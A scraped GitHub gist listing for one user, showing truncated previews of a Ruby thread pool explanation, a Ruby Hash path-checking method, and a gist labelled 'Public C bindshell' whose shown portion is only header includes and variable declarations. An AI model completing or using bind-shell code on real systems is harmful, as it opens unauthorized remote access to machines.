Skip to content

Instantly share code, notes, and snippets.

View mrThe's full-sized avatar
🐓

mr.The mrThe

🐓
View GitHub Profile
@mrThe
mrThe / bindshell
Created July 19, 2013 17:31
Public C bindshell. /from internet
// See bindshell.asm
#include<stdio.h>
#include<dlfcn.h>
#include<stdio.h>
#include<unistd.h>
#include<sys/socket.h>
#include<netinet/in.h>
main() {
int soc,cli,soc_len;
# Ruby Thread Pool
# ================
# A thread pool is useful when you wish to do some work in a thread, but do
# not know how much work you will be doing in advance. Spawning one thread
# for each task is potentially expensive, as threads are not free.
#
# In this case, it might be more beneficial to start a predefined set of
# threads and then hand off work to them as it becomes available. This is
# the pure essence of what a thread pool is: an array of threads, all just
# waiting to do some work for you!
@mrThe
mrThe / hash_extension.rb
Created March 12, 2013 15:14
Hash#path_exists?(*path) method for check paths in hash
class Hash
def path_exists?(*path)
path.flatten.each do |key|
if key.instance_of? Hash
return false unless self[key.keys.first]
return false unless self[key.keys.first].path_exists?(key.values)
elsif key.instance_of? Array
return self.path_exists?(key)
else